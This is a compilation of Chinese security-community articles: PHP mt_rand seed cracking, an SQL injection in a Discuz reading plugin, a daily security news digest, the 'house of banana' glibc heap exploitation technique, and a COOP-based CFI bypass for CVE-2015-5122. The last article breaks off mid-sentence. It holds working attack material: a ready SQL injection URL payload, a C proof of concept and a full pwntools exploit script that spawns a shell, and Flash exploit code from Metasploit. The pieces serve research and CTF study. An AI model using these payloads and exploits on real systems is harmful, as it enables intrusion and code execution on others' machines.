爆破出了3个可能的种子，数量很少 手动一个一个测试:
<?php
mt_srand(735487048);//手工播种
for($i=0;$i<21;$i++){
echo mt_rand()." ";
}
输出:
> 1513334371 2014450250 1319669412 499559587 117728762 1465174656 1671827592
> 1703046841 464496438 1974338231 46646067 981271768 1070717272 571887250
> 922467166 606646473 134605134 857256637 1971727275 2104203195 1515656265
前20位跟上面脚本获取的一模一样，确认种子就是 **1513334371**
。有了种子我们就能计算出任意次数调用mt_rand()生成的随机数了。比如这个脚本我生成了21位，最后一位是 **1515656265**
如果跑完刚才的脚本之后没访问过站点，那么打开 **<http://localhost/pid2.php>** 就能看到相同的 **1515656265**
。
所以我们得到结论：
> php的自动播种发生在php
> cgi进程中第一次调用mt_rand()的时候。跟访问的页面无关，只要是同一个进程处理的请求，都会共享同一个最初自动播种的种子。
# php_mt_seed
我们已经知道随机数的生成是依赖特定的函数，上面曾经假设为`rand =
seed+(i*10)`。对于这样一个简单的函数，我们当然可以直接计算（口算）出一个（组）解来，但 **mt_rand()**
实际使用的函数可是相当复杂且无法逆运算的。有效的破解方法其实是穷举所有的种子并根据种子生成随机数序列再跟已知的随机数序列做比对来验证种子是否正确。php_mt_seed4就是这么一个工具，它的速度非常快，跑完2^32位seed也就几分钟。它可以根据单次mt_rand()的输出结果直接爆破出可能的种子（上面有示例），当然也可以爆破类似mt_rand(1,100)这样限定了MIN
MAX输出的种子（下面实例中有用到）。
# 安全问题
说了这么多，那到底随机数怎么不安全了呢？其实函数本身没有问题，官方也明确提示了生成的随机数不应用于安全加密用途（虽然中文版本manual没写）。问题在于开发者并没有意识到这并不是一个
**真·随机数**
。我们已经知道，通过已知的随机数序列可以爆破出种子。也就是说，只要任意页面中存在输出随机数或者其衍生值（可逆推随机值），那么其他任意页面的随机数将不再是“随机数”。常见的输出随机数的例子比如验证码，随机文件名等等。常见的随机数用于安全验证的比如找回密码校验值，比如加密key等等。一个理想中的攻击场景：
>
> 夜深人静，等待apache(nginx)收回所有php进程（确保下次访问会重新播种），访问一次验证码页面，根据验证码字符逆推出随机数，再根据随机数爆破出随机数种子。接着访问找回密码页面，生成的找回密码链接是基于随机数的。我们就可以轻松计算出这个链接,找回管理员的密码…………XXOO
# 实例
1. [PHPCMS MT_RAND SEED CRACK致authkey泄露](https://xianzhi.aliyun.com/forum/read/2202.html) 雨牛写的比我好，看他的就够了
2. Discuz x3.2 authkey泄露 这个其实也差不多。官方已出补丁，有兴趣的可以自己去分析一下。
* * *
1. <http://php.net/manual/zh/function.mt-rand.php>↩
2. <http://php.net/manual/en/function.mt-rand.php>↩
3. <https://github.com/php/php-src/blob/e23da65550680230618bc26fb34d19baa89157fe/ext/standard/mt_rand.c>↩
4. <http://www.openwall.com/php\_mt\_seed/>↩ | 社区文章 |
### Discuz介绍
Crossday Discuz! Board（简称
Discuz!）是北京康盛新创科技有限责任公司推出的一套通用的社区论坛软件系统。自2001年6月面世以来，Discuz!已拥有15年以上的应用历史和200多万网站用户案例，是全球成熟度最高、覆盖率最大的论坛软件系统之一。目前最新版本Discuz!
X3.2正式版于2015年6月9日发布，首次引入应用中心的开发模式。2010年8月23日，康盛创想与腾讯达成收购协议，成为腾讯的全资子公司。（摘自百度百科）
Discuz代码非常灵活，支持自定义模板和插件，这让Discuz拥有了极强的diy性，再加上操作简单快捷，入门门槛低，使得这款开源软件在中国发展异常迅猛，成为市面上主流的论坛程序。
本文主要介绍Discuz插件相关的安全问题。
### Discuz插件介绍
Discuz插件主要分为“程序链接”、“扩展项目”、“程序脚本”三类。
程序链接：允许插件在Discuz中某些特定导航位置加入菜单项，可自主指派菜单链接的 URL，也可以调用插件的一个模块，模块文件名指派为
source/plugin/插件目录/插件模块名.inc.php”。注意：由于引用外部程序，因此即便设置了模块的使用等级，您的程序仍需进行判断使用等级是否合法。
扩展项目：允许插件在更多的位置增加菜单项/管理模块，以及可在后台插件列表页增添一个远程链接(X3.1新增)。
程序脚本：允许插件设置一个包含页面嵌入脚本的模块，该模块可用于在普通电脑及移动端访问的页面显示。模块文件名指派为
“source/plugin/插件目录/插件模块名.class.php”，以及设置一个特殊主题脚本的模块，模块文件名指派为“source/plugin/插件目录/插件模块名.class.php”。
可以为每个模块设置不同的使用等级，例如设置为“超级版主”，则超级版主及更高的管理者可以使用此模块。
扩展项目模块可以在社区的特定位置扩展出新的功能，通常用于扩展新的设置项目。项目的脚本文件以 .inc.php 结尾（如
test.inc.php），模版为固定文件名，位于插件目录的 template/ 子目录中，文件名与脚本名同名（如 test.htm），扩展名为
.htm。添加相应的扩展项目模块时，需注明程序模块、菜单名称。例如我们添加个人面板项目，程序模块为
test，菜单名称是“测试”，当插件启用后，个人面板即家园的设置中会出现“测试”拓展项目。
在新插件内核中，通过 plugin.php 方式访问的插件可直接通过 plugin.php?id=xxx:yyy
方式调用而无需再在后台定义为普通脚本模块，只要 source/plugin/xxx/yyy.inc.php 文件存在即可。如果 xxx 和 yyy
同名，可直接通过 plugin.php?id=xxx 方式访问。
### 结合实例讲解Discuz插件安全
我们知道Discuz插件主要分为“程序链接”、“扩展项目”、“程序脚本”三类。
这里我们主要着重分析”程序脚本“，因为大部分跟数据库相关及逻辑相关的代码仅能在这种插件类型中存在，存在安全问题的可能性最大。
这里我们以一款名为”小说阅读器“的插件为例，深入了解Discuz插件机制及漏洞挖掘。
首先我们安装并启用该插件：
随后首页多出了一个”小说主页“的导航：
并且我们可以看到当前的url是`plugin.php?id=xxx:xxx`上面我们已经讲过这种格式的页面访问到的最终文件在插件目录下`xxx.inc.php`文件中。
那么这个“小说主页”的相关文件就在`jameson_read`目录下的`readmain.inc.php`中：
我们查找并打开相关文件：
跟我们预想的一样，这个文件果然是存在的。我们来输出写数字然后exit()确认一下我们的想法：
查看页面：
OK，现在我们继续来看这个插件的逻辑是怎么样的，是不是有相关的安全问题存在。
其中第7行：
/*排序字段*/
$orderfield = isset($_GET['orderfield']) && trim($_GET['orderfield'])?trim($_GET['orderfield']):'views';
很明显，从get请求中获取了orderfield赋值给`$orderfield`并且只使用`trim()`函数进行了处理，这里明显是有问题的。
继续往下跟进发现传进了`fetch_by_get`函数的第3个参数：
$categoryarray[$row['category_id']]['sub'][$subrow['category_id']]['book'] = C::t('#jameson_read#jamesonread_books')->fetch_by_get($subrow['category_id'],4,$orderfield,1);
继续跟进`fetch_by_get`函数，文件路径在：`/Users/striker/www/discuz3/upload/source/plugin/jameson_read/table/table_jamesonread_books.php`第120行：
function fetch_by_get($cate=0,$num,$orderfield){
return DB::fetch_all("SELECT * FROM %t WHERE category_id=%d AND is_top=1 ORDER BY %i DESC,ordernum DESC LIMIT %d",array($this->_table,$cate,$orderfield,$num));
}
发现将`$orderfield`直接传入了Discuz自带的DB::fetch_all函数中执行，我们继续跟进fetch_all函数：
public static function fetch_all($sql, $arg = array(), $keyfield = '', $silent=false) {
$data = array();
$query = self::query($sql, $arg, $silent, false);
while ($row = self::$db->fetch_array($query)) {
if ($keyfield && isset($row[$keyfield])) {
$data[$row[$keyfield]] = $row;
} else {
$data[] = $row;
}
}
self::$db->free_result($query);
return $data;
}
这个函数将sql语句又传入到self::query函数：
public static function query($sql, $arg = array(), $silent = false, $unbuffered = false) {
if (!empty($arg)) {
if (is_array($arg)) {
$sql = self::format($sql, $arg);
} elseif ($arg === 'SILENT') {
$silent = true;
} elseif ($arg === 'UNBUFFERED') {
$unbuffered = true;
}
}
self::checkquery($sql);
$ret = self::$db->query($sql, $silent, $unbuffered);
if (!$unbuffered && $ret) {
$cmd = trim(strtoupper(substr($sql, 0, strpos($sql, ' '))));
if ($cmd === 'SELECT') {
} elseif ($cmd === 'UPDATE' || $cmd === 'DELETE') {
$ret = self::$db->affected_rows();
} elseif ($cmd === 'INSERT') {
$ret = self::$db->insert_id();
}
}
return $ret;
}
这个函数又调用了self::format()进行格式化语句：
public static function format($sql, $arg) {
$count = substr_count($sql, '%');
if (!$count) {
return $sql;
} elseif ($count > count($arg)) {
throw new DbException('SQL string format error! This SQL need "' . $count . '" vars to replace into.', 0, $sql);
}
$len = strlen($sql);
$i = $find = 0;
$ret = '';
while ($i <= $len && $find < $count) {
if ($sql{$i} == '%') {
$next = $sql{$i + 1};
if ($next == 't') {
$ret .= self::table($arg[$find]);
} elseif ($next == 's') {
$ret .= self::quote(is_array($arg[$find]) ? serialize($arg[$find]) : (string) $arg[$find]);
} elseif ($next == 'f') {
$ret .= sprintf('%F', $arg[$find]);
} elseif ($next == 'd') {
$ret .= dintval($arg[$find]);
} elseif ($next == 'i') {
$ret .= $arg[$find];
} elseif ($next == 'n') {
if (!empty($arg[$find])) {
$ret .= is_array($arg[$find]) ? implode(',', self::quote($arg[$find])) : self::quote($arg[$find]);
} else {
$ret .= '0';
}
} else {
$ret .= self::quote($arg[$find]);
}
$i++;
$find++;
} else {
$ret .= $sql{$i};
}
$i++;
}
if ($i < $len) {
$ret .= substr($sql, $i);
}
return $ret;
}
这个函数首先判断了`%`出现的次数，如果没有出现则扔出错误。
然后写两个一个while循环来拼接sql语句，查找百分号后面的字母，我们这里的$orderfield传入时是%i所以我们只关注这个分支：
elseif ($next == 'i') {
$ret .= $arg[$find];
如果百分号后面是i的话，就直接拼接带入进去，没有进行其他的处理。
最终format函数返回了拼接后的sql语句。
为了验证我们的想法，我们来在返回以后输出一下返回的sql语句，我们提交orderfield为`111select`：
最终SQL报错，可以看到我们的数据是带入到SQL查询中了。
我们可控的注入点是在`ORDER BY`后面，
而且Discuz现在是有一个全局的waf，过滤了一些字符，导致很难进行注入。
后面有机会再发一篇DiscuzWAF相关的文章吧。
最终使用如下payload成功注入：
http://discuz3.localhost/plugin.php?id=jameson_read:readmain&orderfield=extractvalue(1,%20concat(0x3a,%20version()))%20
这里感谢`@mLT` 以及`@雨了个雨` 师傅不吝赐教。
### 结语
Discuz是当下比较火的一个论坛社区程序，很多的网站，尤其是某些建站公司为了完成目标，肆意使用各种插件，甚至是没有经过官方审核的第三方插件（当然，经过审核的也会出现安全问题），导致原本很安全的Discuz变得脆弱。
使用第三方的插件，还是找时间多review code比较好呀。 | 社区文章 |
# 【知识】11月5日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要：
流行的动漫网站Crunchyroll.com被劫持用于传播恶意软件（分析报告）、2018年恶意软件预测、对IoT_Reaper已有分析的细节补充、Ladon
Webservice（<=0.9.40）的XXE、tnftp
"savefile"任意命令执行、Splunk本地提权、fridump：基于Frida的通用内存dump工具、OpenSSl修复了两个漏洞、Kernelpop：内核提权exploit框架**
资讯类：
流行的动漫网站Crunchyroll.com被劫持用于传播恶意软件
<https://www.bleepingcomputer.com/news/security/popular-anime-site-crunchyroll-com-hijacked-to-distribute-malware/>
为什么新兴的亚太地区市场是未来恶意软件的主要目标
<https://blog.malwarebytes.com/cybercrime/2017/11/emerging-apac-markets-prime-targets-malware-future/>
2018年恶意软件预测：从漫长的夏季学习勒索软件
<https://nakedsecurity.sophos.com/2017/11/03/2018-malware-forecast-learning-from-the-long-summer-of-ransomware/>
完整版下载：
<https://www.sophos.com/en-us/en-us/medialibrary/PDFs/technical-papers/malware-forecast-2018.pdf?la=en>
恶意Chrome插件偷取密码并且占用CPU资源
[https://duo.com/blog/malicious-chrome-extensions-steal-passwords-and-cpu](https://duo.com/blog/malicious-chrome-extensions-steal-passwords-and-cpu)
技术类：
动漫网站Crunchyroll.com被劫持的分析：
<https://doublepulsar.com/crunchyroll-serving-remote-access-malware-dd774867c129>
对IoT_Reaper已有分析的细节补充
<https://labsblog.f-secure.com/2017/11/03/rickrolled-by-none-other-than-iotreaper/>
tnftp "savefile"任意命令执行
<https://cxsecurity.com/issue/WLB-2017110023>
<https://www.exploit-db.com/exploits/43112/>
Ladon Webservice（<=0.9.40）的XXE
<https://cxsecurity.com/issue/WLB-2017110026>
<https://www.redteam-pentesting.de/en/advisories/rt-sa-2016-008/-xml-external-entity-expansion-in-ladon-webservice>
GraphicsMagick内存泄露/堆溢出
<https://cxsecurity.com/issue/WLB-2017110024>
Splunk本地提权
<https://cxsecurity.com/issue/WLB-2017110030>
用C语言写的一个简单的虚拟机
<https://github.com/rmccullagh/como-lang-ng/blob/master/vm/simple.c>
AFL toolchain for Swift, code and binary
<https://github.com/Proteas/afl-swift>
Stuxnet（震网）式的带有合法数字证书的恶意软件比想象的要广泛
<https://arstechnica.com/information-technology/2017/11/evasive-code-signed-malware-flourished-before-stuxnet-and-still-does/>
专家提出了IoT固件更新的标准
<https://www.bleepingcomputer.com/news/security/experts-propose-standard-for-iot-firmware-updates/>
PROPagate：一种新的代码注入技巧
<http://www.hexacorn.com/blog/2017/11/03/propagate-a-new-code-injection-trick-64-bit-and-32-bit/>
fridump：基于Frida的通用内存dump工具
<http://pentestcorner.com/introduction-to-fridump/>
<https://github.com/Nightbringer21/fridump>
Android平台示例：
<http://pentestcorner.com/fridump-android-examples/>
iOS平台示例：
<http://pentestcorner.com/fridump-ios-examples/>
WordPress Plugin JTRT Responsive Tables 4.1 SQL注入
<https://www.exploit-db.com/exploits/43110/>
CredSniper: An advanced Phishing framework that also captures 2FA tokens
(bypass Google U2F)
<https://github.com/ustayready/CredSniper>
Ladon Framework for Python 0.9.40 – XML External Entity Expansion
<https://www.exploit-db.com/exploits/43113/>
OpenSSl修复了两个通过Google开源OSS-Fuzz fuzzing service发现的漏洞
<http://securityaffairs.co/wordpress/65097/security/openssl-google-oss-fuzz-fuzzing.html>
telnet-iot-honeypot：Python telnet honeypot for catching botnet binaries
<http://www.kitploit.com/2017/11/telnet-iot-honeypot-python-telnet.html>
<https://github.com/Phype/telnet-iot-honeypot>
Sage 2.2勒索软件的反调试技巧：OutputDebugStringW
<https://www.virustotal.com/#/file/43921c3406d7b1a546334e324bdf46c279fdac928de810a86263ce7aa9eb1b83/detection>
Kernelpop：内核提权exploit框架
<http://www.kitploit.com/2017/11/kernelpop-kernel-privilege-escalation.html>
<https://github.com/spencerdodd/kernelpop>
如何搭建一个简单的恶意软件分析环境
[https://www.malwaretech.com/2017/11/creating-a-simple-free-malware-analysis-environment.html](https://www.malwaretech.com/2017/11/creating-a-simple-free-malware-analysis-environment.html)
通过Vhost访问localhost——virtual host枚举
<https://blog.securitybreached.org/2017/11/04/access-localhost-via-virtual-host-virtual-host-enumeration/>
密码货币是什么？为什么网络罪犯中意它？
<https://blog.malwarebytes.com/101/2017/11/cryptocurrency-works-cybercriminals-love/> | 社区文章 |
# house of banana
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 前言
总结出的一种新型堆利用手法，适用于目前所有的glibc版本，我暂且命名它为house of banana~。
## 0x02 新版glibc的改进
从glibc 2.28开始，_int_malloc中增加了对unsorted bin的bk的校验，使得unsorted bin attack变得不可行。
/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
此时，我们可以考虑使用large bin attack，使用house of
strom实现任意地址分配；然而，从glibc2.29开始，检查变得更加严格，house of strom不能用了
if (__glibc_unlikely (size <= 2 * SIZE_SZ)
|| __glibc_unlikely (size > av->system_mem))
malloc_printerr ("malloc(): invalid size (unsorted)");
if (__glibc_unlikely (chunksize_nomask (next) < 2 * SIZE_SZ)
|| __glibc_unlikely (chunksize_nomask (next) > av->system_mem))
malloc_printerr ("malloc(): invalid next size (unsorted)");
if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size))
malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)");
if (__glibc_unlikely (bck->fd != victim)
|| __glibc_unlikely (victim->fd != unsorted_chunks (av)))
malloc_printerr ("malloc(): unsorted double linked list corrupted");
if (__glibc_unlikely (prev_inuse (next)))
malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");
但是幸运的是large bin attack仍然可以使用
if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
然而从glibc 2.30开始，常规large bin attack方法也被封堵
if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
## 0x03 large bin attack在新版glibc中的利用
那是否意味着large bin attack不能用了呢，其实不是，以前的large bin attack手法，都是在下面第二个分支里进行
在最新版的glibc 2.32里，我们看到，第二个分支里确实封堵了以前的利用手法，但是在第一个分支里，仍然可以实现large bin
attack，但是该分支利用起来，只是完成 **往任意地址写一个堆地址** 的作用，因为这里的`bck->bk`才是我们的large
bin，因此分析来看，我们能够控制的也就是图中第一个分支中的`fwd->fd->bk_nextsize`，而完成写的操作是在`fwd->fd->bk_nextsize
= victim->bk_nextsize->fd_nextsize = victim;` 这句中，即可以往任意地址写上这个unsorted bin
chunk堆的地址。而以前旧版large bin attack是可以往 **任意的两个地址写两个堆地址** 。
## 0x04 house of banana
### 适用场景（满足任一条件即可）：
#### 1.程序能够显式的执行exit函数
#### 2.程序通过libc_start_main启动的主函数，且主函数能够结束
### 原理分析
在ld.so里，存在一个_rtld_global指针，指向rtld_global结构体
该结构体较为复杂
struct rtld_global
{
#endif
/* Don't change the order of the following elements. 'dl_loaded'
must remain the first element. Forever. */
/* Non-shared code has no support for multiple namespaces. */
#ifdef SHARED
# define DL_NNS 16
#else
# define DL_NNS 1
#endif
EXTERN struct link_namespaces
{
/* A pointer to the map for the main map. */
struct link_map *_ns_loaded;
/* Number of object in the _dl_loaded list. */
unsigned int _ns_nloaded;
/* Direct pointer to the searchlist of the main object. */
struct r_scope_elem *_ns_main_searchlist;
/* This is zero at program start to signal that the global scope map is
allocated by rtld. Later it keeps the size of the map. It might be
reset if in _dl_close if the last global object is removed. */
unsigned int _ns_global_scope_alloc;
/* During dlopen, this is the number of objects that still need to
be added to the global scope map. It has to be taken into
account when resizing the map, for future map additions after
recursive dlopen calls from ELF constructors. */
unsigned int _ns_global_scope_pending_adds;
/* Once libc.so has been loaded into the namespace, this points to
its link map. */
struct link_map *libc_map;
/* Search table for unique objects. */
struct unique_sym_table
{
__rtld_lock_define_recursive (, lock)
struct unique_sym
{
uint32_t hashval;
const char *name;
const ElfW(Sym) *sym;
const struct link_map *map;
} *entries;
size_t size;
size_t n_elements;
void (*free) (void *);
} _ns_unique_sym_table;
/* Keep track of changes to each namespace' list. */
struct r_debug _ns_debug;
} _dl_ns[DL_NNS];
/* One higher than index of last used namespace. */
EXTERN size_t _dl_nns;
.................................................................................
};
其中我们看到里面有多个`_dl_ns`结构体，调试发现，该结构体存储着的实际就是elf各段的符号结构体
，类似于IDA中的段结构体
我们较为关注的是fini_array段的动态链接结构体指针
该结构体实际在在_dl_fini中被使用
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) ();
}
汇编中对应的代码如下
因此，伪造该结构体指针，可以使得array指向我们可控的数据区，从而布置下一系列函数，进而劫持程序的流，那么house of
banana的思想就是利用large bin
attack往rtld_global写入堆的地址，并事先在堆里伪造好rtld_global结构体，这样程序exit或者正常退出main函数时，便会执行到伪造的fini_array数组。
### poc
poc需要根据环境需要修改偏移，在有些情况下，rtld_global_ptr与libc_base的偏移在本地与远程并不是固定的，可能会在地址的第2字节处发生变化，因此可以爆破256种可能得到远程环境的精确偏移。
#include <stdio.h>
#include <stdlib.h>
void backdoor() {
puts("you hacked me!!");
system("/bin/sh");
}
int main() {
puts("house of banana's poc");
size_t libc_base = &puts - 0x87490;
size_t _rtld_global_ptr_addr = libc_base + 0x227060;
char *ptr0 = malloc(0x450);
char *gap = malloc(0x10);
char *ptr1 = malloc(0x440);
gap = malloc(0x10);
char *ptr2 = malloc(0x410);
gap = malloc(0x10);
free(ptr0);
//put ptr9 into large bin
malloc(0x500);
free(ptr1); //free ptr1 into unsorted bin
free(ptr2); //free ptr2 into unsorted bin
//bk_nextsize = _rtld_global_ptr_addr
*(size_t *)(ptr0 + 0x18) = _rtld_global_ptr_addr - 0x20;
malloc(0x410); //large bin attack to hijack _rtld_global_ptr
//fake a _rtld_global
size_t fake_rtld_global_addr = ptr1 - 0x10;
size_t *fake_rtld_global = (size_t *)ptr1;
char buf[0x100];
//the chain's length must >= 4
fake_rtld_global[1] = &fake_rtld_global[2];
fake_rtld_global[3] = fake_rtld_global_addr;
fake_rtld_global[2+3] = &fake_rtld_global[3];
fake_rtld_global[2+5] = &fake_rtld_global[2];
fake_rtld_global[3+3] = &fake_rtld_global[8];
fake_rtld_global[3+5] = &fake_rtld_global[3];
fake_rtld_global[8+3] = 0;
fake_rtld_global[8+5] = &fake_rtld_global[8];
//fake a fini_array segment
fake_rtld_global[0x20] = &fake_rtld_global[0x30];
fake_rtld_global[0x22] = &fake_rtld_global[0x23];
fake_rtld_global[0x23+1] = 0x8; //func ptrs total len
fake_rtld_global[0x30] = 0x1A;
fake_rtld_global[0x31] = 0;
fake_rtld_global[-2] = &fake_rtld_global[0x32];
//funcs
fake_rtld_global[0x32] = backdoor;
fake_rtld_global[0x61] = 0x800000000;
}
## 0x05 实例应用
### 西湖论剑2020决赛 husk
add函数中的size的范围为large bin范围
delete功能里未清空指针，存在UAF
程序有edit和show功能，glibc版本为2.30，由于程序基址无法知道，不能用unlink的方法，因此，可以使用house of banana
#### exp
#coding:utf8
from pwn import *
sh = process('./husk',env = {'LD_PRELOAD':'./libc.so.6'})
libc = ELF('./libc.so.6')
#sh = remote('100.1.0.111',9999)
def add(size,content = ''):
sh.sendlineafter('>>','1')
sh.sendlineafter('Size:',str(size))
if content != '':
sh.sendafter('Content:',content)
def delete(index):
sh.sendlineafter('>>','2')
sh.sendlineafter('Index:',str(index))
def show(index):
sh.sendlineafter('>>','3')
sh.sendlineafter('Index:',str(index))
def edit(index,content):
sh.sendlineafter('>>','4')
sh.sendlineafter('Index:',str(index))
sh.sendafter('Content:',content)
add(0x520,'a'*0x520) #0
add(0x428,'b'*0x428) #1
add(0x500,'c'*0x500) #2
add(0x420,'d'*0x420) #3
delete(0)
add(0x600,'c'*0x600) #4
add(0x600,'c'*0x600) #5
show(0)
sh.recvuntil('Content: ')
main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))
libc_base = main_arena_xx - 0x1eb010
print 'libc_base=',hex(libc_base)
global_max_fast = libc_base + 0x1edb78
print 'global_max_fast=',hex(global_max_fast)
rtl_global = libc_base + 0x220060
print 'rtl_global=',hex(rtl_global)
set_context = libc_base + libc.sym['setcontext'] + 0x3D
ret = libc_base + libc.sym['setcontext'] + 0x14E
pop_rdi = libc_base + 0x00000000000277e9
binsh_addr = libc_base + libc.search('/bin/sh').next()
system_addr = libc_base + libc.sym['system']
#print hex(libc_base + 0x2043ac)
edit(0,'a'*0x10)
show(0)
sh.recvuntil('a'*0x10)
heap_addr = u64(sh.recv(6).ljust(8,'\x00'))
print 'heap_addr=',hex(heap_addr)
edit(0,p64(main_arena_xx)*2)
#未归位的large bin
delete(2)
delete(4)
#控制large bin的bk
edit(0,p64(0) + p64(0) + p64(0) + p64(rtl_global - 0x20))
#raw_input()
add(0x600,'large bin attack!!')
payload = p64(0) + p64(libc_base + 0x221730) + p64(0) + p64(heap_addr + 0x960)
payload += p64(set_context) + p64(ret)
payload += p64(binsh_addr)
payload += p64(0)
payload += p64(system_addr)
payload += '\x00'*0x80
payload += p64(heap_addr + 0x960 + 0x28 + 0x18)
payload += p64(pop_rdi)
payload = payload.ljust(0x100,'\x00')
payload += p64(heap_addr + 0x960 + 0x10 + 0x110)*0x3
payload += p64(0x10)
payload = payload.ljust(0x31C - 0x10,'\x00')
payload += p8(0x8)
edit(2,payload)
edit(1,'b'*0x420 + p64(heap_addr + 0x960 + 0x20))
#getshell
sh.sendlineafter('>>','5')
sh.sendlineafter('name:','haivk')
sh.interactive()
## 0x06 感想
house of banana将会是一种新型的利用手法，且向下兼容老版本glibc。其实只要能实现往任意地址写一个堆地址，都可以利用这种方法。 | 社区文章 |
## 引言
CFI已经被确定为漏洞利用缓解的一个标准，并有了许多不同的实现，如Microsoft CFG2，Microsoft RFG3，PaX Team 的
RAP™4 和 Clang 的 CFI5。 在本系列文章中，我们将演示如何绕过现代CFI实施。
具体来说，在这篇文章中，我们将演示一种高级代码重用技术，伪造面向对象编程（COOP）来利用启用CFI保护的旧漏洞。
## 漏洞
CVE-2015-5122是Hacking Team用于利用Adobe Flash Player（<= 18.0.0.203）的 UAF 漏洞。
可以在[这里](https://blog.trendmicro.com/trendlabs-security-intelligence/another-zero-day-vulnerability-arises-from-hacking-team-data-leak/)找到对漏洞本身的分析。
请注意，通过利用此漏洞，我们可以获得进程内存的完整读写原语。
我们的工作基于CVE-2015-5122在Metasploit中的利用实现，可在[这里](https://github.com/RiskSense-Ops/metasploit-framework/tree/master/external/source/exploits/CVE-2015-5122)找到。
为了实现读/写原语，该漏洞覆盖了 vector 对象的 length 成员。
vector对象包含一个名为ExploitByteArray的类，该类包含提供完整读/写原语的write（addr，data）和read（addr）方法。
通过在Exploiter类中定义伪造的 “magic” 方法并使用选取的地址覆盖其虚函数指针来获得代码执行。
metasploit实现首先调用VirtualProtect，以便将 spray
的栈迁移指令的内存页保护标志更改为READWRITE_EXECUTE，然后再使用 magic 方法调用可执行指令并开始执行ROP链。
// 对栈迁移指令的内存页使用 VirtualProtect 方法
eba.write(stack_address + 8 + 0x80 + 28, virtualprotect)
eba.write(magic_object, stack_address + 8 + 0x80); // overwrite vtable (needs to be restored)
eba.write(magic + 0x1c, stub_address)
eba.write(magic + 0x20, 0x10)
var args:Array = new Array(0x41)
Magic.call.apply(null, args);
// 调用我们的栈迁移指令并初始化ROP链
eba.write(stack_address + 8 + 0x80 + 28, stub_address + 8)
eba.write(magic_object, stack_address + 8 + 0x80); // 覆盖虚表 (之后需要恢复)
eba.write(magic + 0x1c, stack_address + 0x18000)
Magic.call.apply(null, null);
eba.write(magic_object, magic_table);
eba.write(magic + 0x1c, magic_arg0)
eba.write(magic + 0x20, magic_arg1)
这种漏洞利用实现足以绕过ASLR和DEP保护，但无法绕过 CFI 保护。
例如，当 magic 函数返回到与原始调用指令在堆栈上 push 的地址不同的地址时，以及在栈迁移指令和ROP链执行时，基于Shadow Stack
（后端）的CFI实现将很容易地检测。（译者注：Shadow Stack 为 Intel 在底层实现的 CET 中的一种功能）
## CFI 约束
为了使现代CFI实现无法检测到这种利用，我们必须遵循Schuster等人描述的以下几个约束。
1. 间接调用/跳转到非已知的地址
2. 返回不符合规定的调用堆栈
3. 过度使用间接分支
4. 堆栈指针迁移（可能是暂时的迁移）
5. 注入新的代码指针或使用现有的代码指针
6. 间接调用/跳转/返回 到“关键函数”
我们添加了一个额外的约束，叫做执行细粒度策略的“关键函数”。
## COOP（伪造面向对象编程）
伪造面向对象编程（COOP）是一种用于C ++应用程序的新的代码重用技术。
这种技术依赖于CFI实现方案不考虑C++语义的假设，因为它们不检查虚拟调用点是否调用了其对应的虚函数。
通过使用我们选择的vptr伪造vtable对象，我们可以在不触发CFI的情况下调用任何虚函数，因为CFI实现方案不会验证被调用的虚函数与调用者对象的类之间的任何连接。
首先，我们需要找到执行我们计划的操作的虚函数，这些函数称为“vfgadgets”。
其次，为了把它们组合在一起，我们需要找到一个名为Main Loop Gadget的特殊vfgadget（ML-G，如果它传递参数就叫ML-ARG-G）。
此vfgadget包含一个循环，该循环遍历对象列表并调用每个对象的虚函数。 在大型C++应用程序中找到这样的vfgadget是很容易的。
通过使用伪造成员对象列表填充伪造的ML-G对象，每个对象将包含一个包含不同vfgadget的伪vtable，我们可以执行应用程序代码的不同部分而不违反上述约束。
我们演示了两个vfgadgets的组合，按顺序执行
ATL::CComControl::CreateControlWindow和CLibrariesFolderBase::v_AreAllLibraries。
## vfgadget 1
活动模板库（ATL）是一个C++模板库，用于简化Windows中COM对象的编程。
您可以在某些Windows库中找到这些模板，包括shell32.dll（版本6.1.7601.23403）。shell32.dll对象之一是CComControl，这是一个提供创建和管理ATL控件的方法的类，其中对我们来说重要的方法是CreateControlWindow。
根据Microsoft的文档，该方法通过调用CWindowImpl :: Create初始化并创建一个窗口对象，并调用其他内部对象，如下所述。
对于每个窗口，它们都需要有一个WndProc函数 - 一个回调函数，它将处理发送到窗口的所有消息。
我们发现这个函数把 thunk 作为窗口的 WndProc 过程。 这个 thunk 通过用C ++
this指针覆盖第一个WndProc堆栈参数（应该是窗口的HANDLE），将Windows C回调调用转换为虚函数调用。
thunk 的数据及其反汇编代码：
Thunk data:
c7 44 24 04 [DWORD thisPointer] e9 [DWORD WndProc]
disas:
mov DWORD PTR [esp+0x4], thisPointer
jmp WndProc
有关ATLThunk的更多信息，请访问[这里](https://www.ragestorm.net/blogs/?p=37)。
请注意，此方法与 Windows 7 Build 7601
